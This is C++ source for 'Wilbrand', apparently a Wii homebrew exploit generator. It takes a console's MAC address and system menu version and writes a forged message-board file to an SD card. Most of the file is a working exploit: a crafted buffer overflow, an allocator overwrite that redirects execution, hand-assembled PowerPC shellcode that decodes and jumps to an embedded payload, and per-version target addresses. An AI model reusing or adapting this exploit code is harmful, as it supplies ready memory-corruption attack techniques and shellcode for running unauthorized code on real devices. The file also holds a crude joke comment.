/*************************************************************************** * Copyright (C) 2011 * by giantpune * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * ***************************************************************************/ /* These files are saved in utf-8 encoding. This should look like the tm sign - ™. And this likes like a dick 8===ʚ . Tab = 4 spaces wide. These should look the same width | <- tab * 2 | <- space * 8 */ #include #include #include #include #include #include #include #include #ifdef WIN32 #include #else #include #endif #include "aes.h" #include "buffer.h" #include "cryptostuff.h" INC_FILE( envelope_bin ); INC_FILE( loader_bin ); // only works with whole numbers #define RU( n, s ) \ ({ \ typeof( n ) n1 = n; \ typeof( s ) s1 = s; \ ((((n1) + (s1) - 1) / (s1)) * (s1)); \ }) #define TICKS_PER_SECOND 60750000ULL #define SECONDS_TO_2000 946684800ULL #define STRLEN ( (u32)0x10014 + 0x300 ) // some possible exitcodes this program will use //! these are really for any other tools that would be calling this program //! such as PHP or some .sh script. If it is a real person running this thing, //! then hopefully the text output will be more useful than the exit code. enum ExitCodes { E_Success = EXIT_SUCCESS, // everything worked like it should E_Argc, // too many/few arguments E_MacLength, // MAC address isnt 12 hex characters E_BadDate, // error parsing date/date is too high E_CantWriteFile, // cant write the output file E_SystemMenuVersion, // error parsing system menu version E_SDRoot, // SD root doesnt exist E_BadData // the data files used to build this program are too big or something like that }; // creates a buffer holding 16 'random' bytes Buffer &MakeIV( Buffer &in ) { in = Buffer( 0x10 ); u32* p = (u32*)in.Data(); // this isn't exactly like the system menu does it, but its still based on the current time //srand( time( NULL ) ); for( u32 i = 0; i < 4; i++ ) { // p[ i ] = rand(); p[ i ] = 0x12345678; } return in; } string PathFromDateTime( struct tm *dt ) { if( !dt ) { return string(); } char buf[ 0x100 ]; snprintf( buf, sizeof( buf ), SEP"%04u"SEP"%02u"SEP"%02u"SEP"%02u"SEP"%02u", dt->tm_year + 1900, dt->tm_mon, dt->tm_mday, dt->tm_hour, dt->tm_min ); return buf; } static inline u32 CdbTimeFromDateTime( time_t dt ) { return dt - SECONDS_TO_2000; } void Usage( int exitCode ) __attribute__ ( ( noreturn ) ); void Usage( int exitCode ) { cout << "Usage:" << endl; cout << "" << endl; cout << "Wilbrand " << endl; cout << "" << endl; cout << " MAC address can be found in the wii settings -> internet information" << endl; cout << " it is 12 ascii characters." << endl; cout << "" << endl; cout << " date is the date you want the message to show up on the messageboard." << endl; cout << " format is mm/dd/yyyy" << endl; cout << " or # of seconds since 00:00:00 jan 1, 2000" << endl; cout << " expressed as a 32bit hex number" << endl; cout << "" << endl; cout << " sysmenu version of the system menu to build the exploit for; 4.3e, 4.3k..." << endl; cout << "" << endl; cout << " SD Root is the root of the SD card. this program will create the necessary" << endl; cout << " subfolders and then slap the exploit in it" << endl; exit( exitCode ); } void GetWiiID( Buffer mac, Buffer &out ) { mac += "\x75\x79\x79"; out = GetSha1( mac ); } // write the attribute header for a playlog and the cdb file header Buffer &AddCDBAttrHeader( Buffer &in, u32 wiiID_upper, u32 wiiID_lower, u32 cdbTime ) { char* b = (char*)in.Data(); // start attribute header strcpy( b, "CDBFILE\x2" ); // magic word & version wbe32( b + 0x8, wiiID_upper ); // wiiID wbe32( b + 0xc, wiiID_lower ); b[ 0x10 ] = 0x12; // strlen( description ) + 1 strcpy( b + 0x14, "ripl_board_record" ); // description wbe32( b + 0x70, 1 ); // entry ID# ( /cdb.conf value ) wbe32( b + 0x74, 1 ); // edit count wbe32( b + 0x7c, cdbTime ); // last edit time // start cdb file header wbe32( b + 0x400, 0x52495f35 ); // magic word //wbe32( b + 0x404, 0xc3153904 ); // position //wbe32( b + 0x408, 0x429989fc ); // -149.22, 76.76 wbe32( b + 0x40c, 0x00000001 ); // "type" flag wbe64( b + 0x410, cdbTime * TICKS_PER_SECOND ); // sent time strcpy( b + 0x418, "w9999999900000000@wii.com" ); // sender - this is bowser's friend code wbe32( b + 0x518, 0x00020001 ); // more flags ( origin = email | can reply = false ) return in; } // adds the title, message body, and attachment(s) to our message, and then fix the // checksum in the cdb file header //! in this case, the message body contains the exploit and there is only 1 attachment //! which contains the image used for the envelope icon Buffer &AddStuff( Buffer &in, u32 jumpAddr, u32 overwriteAddr, u32 jumpTableAddr, u32 fileStructVersion, u32 OSReturnToMenu, u32 __OSStopAudioSystem, u32 __GXAbort, u32 VFSysOpenFile_current, u32 VFSysReadFile, u32 __OSUnRegisterStateEvent, u32 VISetBlack, u32 VIFlush, u32 VFiPFVOL_GetVolumeFromDrvChar, u32 VFiPFVOL_SetCurrentVolume ) { u32 t32; u8* b = in.Data(); wbe32( b + 0x51c, 0x148 ); // descritpion offset wbe32( b + 0x520, 0x168 ); // body offset // write a pretty title ( just using spaces for now now ) PutU16Str( b + 0x548, " " ); // overflow the buffer for( u32 i = 0x568, val = 0x01010101; i < 0x32400 - 0x8000; i += 4, val += 0x100000 ) { if( !( val & 0xffff ) || !( ( val >> 16 ) & 0xffff ) ) { continue; } wbe32( b + i, val ); } wbe32( b + 0x3448 + 0, 0x80F80001 ); wbe32( b + 0x3448 + 4, 0x00010001 ); // overwrite a memory allocator entry with a stack address. next time they allocate memory after // the buffer overflow happens, it will overwrite a value on the stack to point to the buffer of memory // that we initialized during the buffer overflow wbe32( b + 0x3448 + 8, overwriteAddr ); wbe32( b + 0x3448 + 0xc, overwriteAddr ); // this address is read by "lwz %r12, 0(%r3)" //! it points to itself wbe32( b + 0x568 + 0xcdf8, jumpTableAddr ); // this one is read into r12 by "lwz %r12, 0xC(%r12)" //! this one ands up getting executed wbe32( b + 0x568 + 0xcdf8 + 0xc, jumpAddr ); // a couple macros for making the assembly part below #define M_PAYLOAD_START( off ) \ ( ( b + 0x568 + STRLEN ) + ( off ) ) #define M_PAYLOAD_START_INC() \ ({ \ u8* r = M_PAYLOAD_START( oo ); \ oo += 4; \ r; \ }) #define _L( x )\ wbe32( M_PAYLOAD_START_INC(), x ) #define _X( x )\ wbe32( M_PAYLOAD_START_INC(), (x) ^ jumpAddr ) // insert a stub loader that will un-xor the payload to 0x93000000 and branch to it // this gives an initial payload that is location-independant (as long as it doesn't happen do be in the 0x93000000 area itself) // and contains no null u16s. // some addresses of functions in the system menu are written right before the loader in case it wants to use them //! it assumes that r12 contains the value that the code is xor'd with u32 oo = 0; // r29 = 0x01010101 _L( 0x3FA00101 ); //! lis r29, 0x101 _L( 0x3BBD0101 ); //! addi r29, r29, 0x101 // load r28 with the offset to the data we want copied _L( 0x3B800050 ); //! li r28, 0x50 // location to start copying data _L( 0x3DE092ff ); //! lis r15, 0x92ff _L( 0x61EFffd4 ); //! ori r15, r15, 0xffd4 // destination - offset _L( 0x7DDC7850 ); //! sub r14, r15, r28 // r12 already contains the jump address // load a u32 of the elf loader, xor with r12, write it to r14 + offset //! loop: _L( 0x7CACE02E ); //! lwzx r5,r12,r28 _L( 0x7CA66278 ); //! xor r6, r5, r12 _L( 0x7CCEE12E ); //! stwx r6,r14,r28 // sync _L( 0x7C0EE06C ); //! dcbst r14, r28 _L( 0x7C0004AC ); //! sync _L( 0x7C0EE7AC ); //! icbi r14, r28 // if the value of the u32 was not 0x01010101 before the xor, goto loop _L( 0x7C05E800 ); //! cmpw r5, r29 _L( 0x3B9C0004 ); //! addi r28, r28, 4 _L( 0x40a2ffe0 ); //! bne- 0xFFE0 // sync _L( 0x7C0004AC ); //! sync _L( 0x4C00012C ); //! isync // execute 0x93000000 _L( 0x3D809300 ); //! lis r12, 0x9300 _L( 0x7D8903A6 ); //! mtctr r12 _L( 0x4E800420 ); //! bctr // add addresses for the loader to use _X( fileStructVersion ); _X( OSReturnToMenu ); _X( __OSStopAudioSystem ); _X( __GXAbort ); _X( VFSysOpenFile_current ); _X( VFSysReadFile ); _X( __OSUnRegisterStateEvent ); _X( VISetBlack ); _X( VIFlush ); _X( VFiPFVOL_GetVolumeFromDrvChar ); _X( VFiPFVOL_SetCurrentVolume ); // add the loader u32* src = (u32*)loader_bin; u32* dst = (u32*)M_PAYLOAD_START_INC(); u32 _xor = htonl( jumpAddr ); t32 = RU( loader_bin_size, 4 ) / 4; for( u32 i = 0; i < t32; i++ ) { dst[ i ] = src[ i ] ^ _xor; } oo += RU( loader_bin_size, 4 ); // write 0x01010101 to signal the stub loader the end of its payload _L( 0x01010101 ); // add the image at the end of the whole shabang u32 tmgLoc = ( 0x32400 - 0 ) - envelope_bin_size; wbe32( b + 0x528, 2 ); // type wbe32( b + 0x52c, ( tmgLoc - 0x400 ) ); // offset - first header size wbe32( b + 0x530, envelope_bin_size ); // size memcpy( b + tmgLoc, envelope_bin, envelope_bin_size ); // fix checksum t32 = ComputeCRC32( b + 0x400, 0x140 ); wbe32( b + 0x540, t32 ); //in.Dump( 0x568 + STRLEN, 0x5000 ); return in; } // messages stored on the SD card (as opposed to the ones in the wii's nand) are signed and encrypted //! all the values added by this function are only present in messages which are encrypted, otherwise they are 0x00 Buffer &EncryptAndSign( Buffer &in, const Buffer &wiiID, const string &id, const string &type, const string &ext ) { u8* b = in.Data(); u32 is = in.Size(); // write size wbe32( b + 0x78, is ); // create keystring u32 time = htonl( *(u32*)( b + 0x7c ) ); snprintf( (char*)b + 0x80, 0x1b, "%010u_%s_%s.%s", time, id.c_str(), ext.c_str(), type.c_str() ); // encrypt Buffer iv; MakeIV( iv ); Buffer key( 0x10, '\0' ); assert( key.Size() == 0x10 ); u8* kd = key.Data(); memcpy( b + 0xa0, iv.Data(), 0x10 ); aes_set_key( kd ); aes_encrypt( (u8*)iv.Data(), b + 0x400, b + 0x400, is - 0x400 ); // encrypt from 0x400 to the end of the file // calculate hmac hmac_ctx ctx; hmac_init( &ctx, (const char*)wiiID.ConstData() + 8, wiiID.Size() - 8 ); hmac_update( &ctx, b, is ); hmac_final( &ctx, (unsigned char*)b + 0xb0 ); return in; } // expects mm/dd/yyyy. returns 23:59 of that day, UTC or 0 on error // may or may not actually work time_t ParseDateString( const char* str ) { u32 month = 0, day = 0, year = 0; // parse if( sscanf( str, "%2u/%2u/%4u", &month, &day, &year ) != 3 ) { return 0; } // the wii will self destruct in 2035, so as far as it is conserned, // that is an invalid date. it also believes that Koji Kondo created the // world in 2000, and any date prior to that is blasphomy if( year < 2000 || year > 2035 ) { return 0; } struct tm timeInfo; memset( &timeInfo, 0, sizeof( struct tm ) ); timeInfo.tm_year = year - 1900; timeInfo.tm_mon = month - 1; timeInfo.tm_mday = day; // 23:59 because messages show up with newest ones on top for each day timeInfo.tm_hour = 23; timeInfo.tm_min = 59; time_t theTime = mktime( &timeInfo ); time_t utc = mktime( gmtime( &theTime ) ); // windows does some really weird shit with daylight saving time time_t ret = ( ( theTime << 1 ) - utc ); struct tm * wtf = gmtime( &ret ); if( !wtf->tm_hour ) { ret -= 3600; } return ret; //return (u32)(theTime - difftime( utc, theTime )); //return ( ( theTime << 1 ) - utc );// this works for linux and mingw, but not real windoze } static inline u32 HashStr( const string &str ) { return ComputeCRC32( (u8*)str.c_str(), str.size() ); } int main(int argc, char *argv[]) { // test that whoever built this program didnt try to cram in // a superhuge payload or envelope icon //if( envelope_bin_size >= 0x7000 || loader_bin_size >= ( 0x2a3e0 - 0x108c0 ) ) if( envelope_bin_size >= 0x7000 ) { cout << "E_BadData" << endl; exit( E_BadData ); } // MAC, date, sysmenu version, SD root if( argc != 5 ) { Usage( E_Argc ); } u32 jumpAddr = 0; u32 overwriteAddr = 0; u32 jumpTableAddr = 0; u32 fileStructVersion = 0; u32 OSReturnToMenu = 0; u32 __OSStopAudioSystem = 0; u32 __GXAbort = 0; u32 VFSysOpenFile_current = 0; u32 VFSysReadFile = 0; u32 __OSUnRegisterStateEvent = 0; u32 VISetBlack = 0; u32 VIFlush = 0; u32 VFiPFVOL_GetVolumeFromDrvChar = 0; u32 VFiPFVOL_SetCurrentVolume = 0; Buffer wiiID; Buffer mac; u32 wiiID_upper = 0; u32 wiiID_lower = 0; u32 cdbTime = 0; char buf[ 0x100 ]; string id ( "PUNE_69" ); string type ( "log" ); string ext ( "000" ); cout << "Wilbrand v4.0" << endl; cout << " by Giantpune" << endl; cout << " built: " << __DATE__ << " -- " << __TIME__ << endl; cout << endl; // check for valid MAC string macStr( argv[ 1 ] ); macStr.erase( std::remove( macStr.begin(), macStr.end(), ' ' ), macStr.end() ); macStr.erase( std::remove( macStr.begin(), macStr.end(), ':' ), macStr.end() ); macStr.erase( std::remove( macStr.begin(), macStr.end(), '-' ), macStr.end() ); if( macStr.size() != 12 ) { cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl; Usage( E_MacLength ); } mac = Buffer::FromHex( macStr ); if( mac.Size() != 6 ) { cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl; Usage( E_MacLength ); } // parse date string dateArg( argv[ 2 ] ); if( dateArg.find( '/' ) != string::npos )// parse mm/dd/yyyy { cdbTime = ParseDateString( argv[ 2 ] ); if( !cdbTime ) { cout << "Error parsing date " << argv[ 2 ] << '\n' << endl; Usage( E_BadDate ); } cdbTime -= SECONDS_TO_2000; } else if( sscanf( argv[ 2 ], "%08x", &cdbTime ) != 1 || cdbTime > 0x43B5CA3B - 80 ) { cout << "Error parsing date " << argv[ 2 ] << '\n' << endl; Usage( E_BadDate ); } // get system menu version and set some variables string sysmenuVer( argv[ 3 ] ); std::transform( sysmenuVer.begin(), sysmenuVer.end(), sysmenuVer.begin(), ::toupper ); sysmenuVer.erase( std::remove( sysmenuVer.begin(), sysmenuVer.end(), '.' ), sysmenuVer.end() ); #define CASE_SYSMENU_VARS( val, x, y, z, f0, f1, f2, f3, f4, f5, f6, f7, f8, f9, f10 ) \ case val: \ { \ jumpAddr = x; /* address of first "user" code to be executed*/ \ overwriteAddr = y; /* stack pointer at the moment when a specific variable is read from the stack */ \ jumpTableAddr = z; /* where will our "jump table" be in memory */ \ fileStructVersion = f0; /* these are some values to help the tiny loader */ \ OSReturnToMenu = f1; \ __OSStopAudioSystem = f2; \ __GXAbort = f3; \ VFSysOpenFile_current = f4; \ VFSysReadFile = f5; \ __OSUnRegisterStateEvent = f6; \ VISetBlack = f7; \ VIFlush = f8; \ VFiPFVOL_GetVolumeFromDrvChar = f9; \ VFiPFVOL_SetCurrentVolume = f10; \ } \ break switch( HashStr( sysmenuVer ) ) { CASE_SYSMENU_VARS( 0x33495415, 0x9234d22c, 0x816a73b8, 0x92349D10, //43U * 0x00000260, 0x813808a0, 0x8152d828, 0x8154409c, 0x814d3428, 0x814d3704, 0x81536b94, 0x8153e128, 0x8153dfa0, 0x814cdfe8, 0x814cdd48 ); CASE_SYSMENU_VARS( 0x2a526554, 0x9234d22c, 0x816a57d8, 0x92349D10, //42U * 0x00000260, 0x81380190, 0x8152c20c, 0x81542a80, 0x814d2c50, 0x814d2f2c, 0x81535578, 0x8153cb0c, 0x8153c984, 0x814cd810, 0x814cd570 ); CASE_SYSMENU_VARS( 0x017f3697, 0x9234d22c, 0x816a4858, 0x92349D10, //41U * 0x00000260, 0x8137fa14, 0x8152b944, 0x815421b8, 0x814d2388, 0x814d2664, 0x81534cb0, 0x8153c244, 0x8153c0bc, 0x814ccf48, 0x814ccca8 ); CASE_SYSMENU_VARS( 0x186407d6, 0x9234d22c, 0x816a46b8, 0x92349D10, //40U * 0x00000260, 0x8137f918, 0x8152b81c, 0x81542090, 0x814d2288, 0x814d2564, 0x81534b88, 0x8153c11c, 0x8153bf94, 0x814cce48, 0x814ccba8 ); CASE_SYSMENU_VARS( 0x7947d457, 0x92327a2c, 0x81681d08, 0x92324510, //34U * 0x00000264, 0x8137ad10, 0x8150dfb8, 0x8152482c, 0x814b4150, 0x814b4568, 0x81517324, 0x8151e8b8, 0x8151e730, 0x814af794, 0x814af4f4 ); CASE_SYSMENU_VARS( 0x36064290, 0x92327a2c, 0x81674ae8, 0x92324510, //33U * 0x00000264, 0x8137a274, 0x81505a00, 0x8151c274, 0x814878f8, 0x81487d10, 0x8150ed6c, 0x81516300, 0x81516178, 0x81482f3c, 0x81482c9c ); CASE_SYSMENU_VARS( 0x2f1d73d1, 0x92327a2c, 0x81673c88, 0x92324510, //32U * 0x00000264, 0x81379d08, 0x81505168, 0x8151b9dc, 0x81487384, 0x8148779c, 0x8150e4d4, 0x81515a68, 0x815158e0, 0x814829c8, 0x81482728 ); CASE_SYSMENU_VARS( 0x04302012, 0x92327a24, 0x81673508, 0x92324508, //31U * 0x00000264, 0x81379c34, 0x81504a74, 0x8151b2e8, 0x81486ca4, 0x814870bc, 0x8150dde0, 0x81515374, 0x815151ec, 0x814822e8, 0x81482048 ); CASE_SYSMENU_VARS( 0x1d2b1153, 0x92327a24, 0x81673a68, 0x92324508, //30U * 0x00000264, 0x81379bd4, 0x81504ffc, 0x8151b870, 0x81486c4c, 0x81487064, 0x8150e368, 0x815158fc, 0x81515774, 0x81482290, 0x81481ff0 ); CASE_SYSMENU_VARS( 0x2efe4471, 0x9234d22c, 0x816a9258, 0x92349D10, //43E * 0x00000260, 0x81380948, 0x8152d924, 0x81544198, 0x814d3524, 0x814d3800, 0x81536c90, 0x8153e224, 0x8153e09c, 0x814ce0e4, 0x814cde44 ); CASE_SYSMENU_VARS( 0x37e57530, 0x9234d22c, 0x816a7678, 0x92349D10, //42E * 0x00000260, 0x81380238, 0x8152c308, 0x81542b7c, 0x814d2d4c, 0x814d3028, 0x81535674, 0x8153cc08, 0x8153ca80, 0x814cd90c, 0x814cd66c ); CASE_SYSMENU_VARS( 0x1cc826f3, 0x9234d22c, 0x816a66f8, 0x92349D10, //41E * 0x00000260, 0x8137fabc, 0x8152ba40, 0x815422b4, 0x814d2484, 0x814d2760, 0x81534dac, 0x8153c340, 0x8153c1b8, 0x814cd044, 0x814ccda4 ); CASE_SYSMENU_VARS( 0x05d317b2, 0x9234d22c, 0x816a6578, 0x92349D10, //40E * 0x00000260, 0x8137f9c0, 0x8152b918, 0x8154218c, 0x814d2384, 0x814d2660, 0x81534c84, 0x8153c218, 0x8153c090, 0x814ccf44, 0x814ccca4 ); CASE_SYSMENU_VARS( 0x64f0c433, 0x92327a2c, 0x81683b88, 0x92324510, //34E * 0x00000264, 0x8137adb8, 0x8150e0b4, 0x81524928, 0x814b424c, 0x814b4664, 0x81517420, 0x8151e9b4, 0x8151e82c, 0x814af890, 0x814af5f0 ); CASE_SYSMENU_VARS( 0x2bb152f4, 0x92327a2c, 0x81676968, 0x92324510, //33E * 0x00000264, 0x8137a31c, 0x81505afc, 0x8151c370, 0x814879f4, 0x81487e0c, 0x8150ee68, 0x815163fc, 0x81516274, 0x81483038, 0x81482d98 ); CASE_SYSMENU_VARS( 0x32aa63b5, 0x92327a2c, 0x81675b28, 0x92324510, //32E * 0x00000264, 0x81379db0, 0x81505264, 0x8151bad8, 0x81487480, 0x81487898, 0x8150e5d0, 0x81515b64, 0x815159dc, 0x81482ac4, 0x81482824 ); CASE_SYSMENU_VARS( 0x19873076, 0x92327a24, 0x81675368, 0x92324508, //31E * 0x00000264, 0x81379cdc, 0x81504b70, 0x8151b3e4, 0x81486da0, 0x814871b8, 0x8150dedc, 0x81515470, 0x815152e8, 0x814823e4, 0x81482144 ); CASE_SYSMENU_VARS( 0x009c0137, 0x92327a24, 0x816758c8, 0x92324508, //30E * 0x00000264, 0x81379c7c, 0x815050f8, 0x8151b96c, 0x81486d48, 0x81487160, 0x8150e464, 0x815159f8, 0x81515870, 0x8148238c, 0x814820ec ); CASE_SYSMENU_VARS( 0xbe4159e0, 0x9234d22c, 0x816d6ab8, 0x92349D10, //43J * 0x00000260, 0x8137fd54, 0x81556768, 0x8156cfdc, 0x814fc368, 0x814fc644, 0x8155fad4, 0x81567068, 0x81566ee0, 0x814f6f28, 0x814f6c88 ); CASE_SYSMENU_VARS( 0xa75a68a1, 0x9234d22c, 0x816d4ed8, 0x92349D10, //42J * 0x00000260, 0x8137f644, 0x8155514c, 0x8156b9c0, 0x814fbb90, 0x814fbe6c, 0x8155e4b8, 0x81565a4c, 0x815658c4, 0x814f6750, 0x814f64b0 ); CASE_SYSMENU_VARS( 0x8c773b62, 0x9234d22c, 0x816d3f38, 0x92349D10, //41J * 0x00000260, 0x8137eec8, 0x81554880, 0x8156b0f4, 0x814fb2c4, 0x814fb5a0, 0x8155dbec, 0x81565180, 0x81564ff8, 0x814f5e84, 0x814f5be4 ); CASE_SYSMENU_VARS( 0x956c0a23, 0x9234d22c, 0x816d3dd8, 0x92349D10, //40J * 0x00000260, 0x8137edcc, 0x81554758, 0x8156afcc, 0x814fb1c4, 0x814fb4a0, 0x8155dac4, 0x81565058, 0x81564ed0, 0x814f5d84, 0x814f5ae4 ); CASE_SYSMENU_VARS( 0xf44fd9a2, 0x92327a2c, 0x816b1428, 0x92324510, //34J * 0x00000264, 0x8137a1c4, 0x81536ef4, 0x8154d768, 0x814dd08c, 0x814dd4a4, 0x81540260, 0x815477f4, 0x8154766c, 0x814d86d0, 0x814d8430 ); CASE_SYSMENU_VARS( 0xbb0e4f65, 0x92327a2c, 0x816a8488, 0x92324510, //33J * 0x00000264, 0x813798a8, 0x81532a3c, 0x815492b0, 0x81489450, 0x81489868, 0x8153bda8, 0x8154333c, 0x815431b4, 0x81484a94, 0x814847f4 ); CASE_SYSMENU_VARS( 0xa2157e24, 0x92327a2c, 0x816a7628, 0x92324510, //32J * 0x00000264, 0x8137931c, 0x81532184, 0x815489f8, 0x81488ebc, 0x814892d4, 0x8153b4f0, 0x81542a84, 0x815428fc, 0x81484500, 0x81484260 ); CASE_SYSMENU_VARS( 0x89382de7, 0x92327a24, 0x816a6e48, 0x92324508, //31J * 0x00000264, 0x81379248, 0x81531a90, 0x81548304, 0x814887dc, 0x81488bf4, 0x8153adfc, 0x81542390, 0x81542208, 0x81483e20, 0x81483b80 ); CASE_SYSMENU_VARS( 0x90231ca6, 0x92327a24, 0x816a73e8, 0x92324508, //30J * 0x00000264, 0x813791e8, 0x81532018, 0x8154888c, 0x81488784, 0x81488b9c, 0x8153b384, 0x81542918, 0x81542790, 0x81483dc8, 0x81483b28 ); CASE_SYSMENU_VARS( 0xc9466976, 0x9234d22c, 0x8167b9d8, 0x92349D10, //43K * 0x00000260, 0x8137fc34, 0x815065e0, 0x8151ce54, 0x814ac1e0, 0x814ac4bc, 0x8150f94c, 0x81516ee0, 0x81516d58, 0x814a6da0, 0x814a6b00 ); CASE_SYSMENU_VARS( 0xd05d5837, 0x9234d22c, 0x81679dd8, 0x92349D10, //42K * 0x00000260, 0x8137f524, 0x81504fc4, 0x8151b838, 0x814aba08, 0x814abce4, 0x8150e330, 0x815158c4, 0x8151573c, 0x814a65c8, 0x814a6328 ); CASE_SYSMENU_VARS( 0xfb700bf4, 0x9234d22c, 0x81678f18, 0x92349D10, //41K * 0x00000260, 0x8137edf0, 0x81504744, 0x8151afb8, 0x814ab188, 0x814ab464, 0x8150dab0, 0x81515044, 0x81514ebc, 0x814a5d48, 0x814a5aa8 ); CASE_SYSMENU_VARS( 0x9a53d875, 0x92327a2c, 0x81654868, 0x92324510, //35K * 0x00000264, 0x81379990, 0x814e6300, 0x814fcb74, 0x8148c5bc, 0x8148c9d4, 0x814ef66c, 0x814f6c00, 0x814f6a78, 0x81487c00, 0x81487960 ); // TODO: //CASE_SYSMENU_VARS( 0xcc097ff3, 0x92327a2c, 0x81654828, 0x92324510 ); //33K default: { cout << "Error parsing system menu version:" << argv[ 3 ] << endl; Usage( E_SystemMenuVersion ); } break; } // resolve absolute path for SD card and make sure it exists string outPath( ResolvePath( argv[ 4 ] ) ); if( !outPath.size() || !DirExists( outPath ) ) { cout << "SD root doesn\'t exist: \"" << argv[ 4 ] << '\"' << endl; Usage( E_SDRoot ); } // make sure it ends with a '/' if( outPath.at( outPath.size() - 1 ) != SEPC ) { outPath += SEPC; } // 1337math //! convert r1 to pointer for over-writation (tm) overwriteAddr = ( ( overwriteAddr + 0x14 ) - 0x8 ); // create WiiID GetWiiID( mac, wiiID ); wiiID_upper = htonl( *(u32*)( wiiID.Data() ) ); wiiID_lower = htonl( *(u32*)( wiiID.Data() + 4 ) ); // create a buffer big enough to hold the largest possible cdb file + attribute header // and fills it wil 0x00. 200KiB + 0x400 for attribute header //! anything larger and the system menu refuses to load it Buffer out( 0x32400, '\0' ); assert( out.Size() == 0x32400 ); AddCDBAttrHeader( out, wiiID_upper, wiiID_lower, cdbTime ); AddStuff( out, jumpAddr, overwriteAddr, jumpTableAddr, fileStructVersion, OSReturnToMenu, __OSStopAudioSystem, __GXAbort, VFSysOpenFile_current, VFSysReadFile, __OSUnRegisterStateEvent, VISetBlack, VIFlush, VFiPFVOL_GetVolumeFromDrvChar, VFiPFVOL_SetCurrentVolume ); EncryptAndSign( out, wiiID, id, type, ext ); // generate output directory time_t cdbT = cdbTime + SECONDS_TO_2000; string datePath = PathFromDateTime( gmtime( &cdbT ) ); snprintf( buf, sizeof( buf ), "private"SEP"wii"SEP"title"SEP"HAEA"SEP"%08x"SEP"%08x%s"SEP"%s"SEP"%s"SEP , wiiID_upper, wiiID_lower, datePath.c_str() , id.c_str(), type.c_str() ); // write some important looking text on the screen //! it seems like more important shit is happening when you see text on the screen cout << "-----------------------------------------------------------" << endl; COUT_STR( sysmenuVer ); COUT_BUF( mac, 6, u8 ); COUT_BUF( wiiID, wiiID.Size(), u32 ); COUT_U32( wiiID_upper ); COUT_U32( wiiID_lower ); COUT_U32( cdbTime ); COUT_U32( jumpAddr ); COUT_U32( overwriteAddr ); COUT_U32( jumpTableAddr ); COUT_STR( outPath ); COUT_STR( datePath ); COUT_U32( fileStructVersion ); COUT_U32( __GXAbort ); COUT_U32( OSReturnToMenu ); COUT_U32( __OSStopAudioSystem ); COUT_U32( __OSUnRegisterStateEvent ); COUT_U32( VIFlush ); COUT_U32( VISetBlack ); COUT_U32( VFiPFVOL_GetVolumeFromDrvChar ); COUT_U32( VFiPFVOL_SetCurrentVolume ); COUT_U32( VFSysOpenFile_current ); COUT_U32( VFSysReadFile ); cout << "-----------------------------------------------------------" << endl; outPath += buf; // meh, we're probably writing to a FAT formatted SD card anyways, 0777 will be fine if( MkPath( outPath.c_str(), 0777 ) ) { cout << "Error creating folder structure:\n\"" << outPath << "\"" << endl; exit( E_CantWriteFile ); } snprintf( buf, sizeof( buf ), "%08x.%s", cdbTime, ext.c_str() ); outPath += buf; if( !WriteFile( outPath, out ) ) { exit( E_CantWriteFile ); } cout << "Wrote to:\n\"" << outPath << "\"" << endl; exit( E_Success ); return 0; }